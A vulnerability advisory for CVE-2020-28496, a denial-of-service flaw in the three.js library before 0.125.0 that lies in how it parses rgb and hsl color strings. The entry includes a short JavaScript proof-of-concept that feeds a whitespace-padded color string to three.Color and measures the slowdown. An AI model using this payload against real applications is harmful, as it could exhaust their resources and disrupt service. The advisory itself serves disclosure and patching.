CVE-2020-28496: Three Project Three

High severity, CVSS 7.5. EPSS: 2.5% chance of exploitation in the next 30 days.

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

Affected products

• Three Project Three: before 0.125.0 (fixed in 0.125.0)

Published 2021-02-18. Last modified 2026-06-17.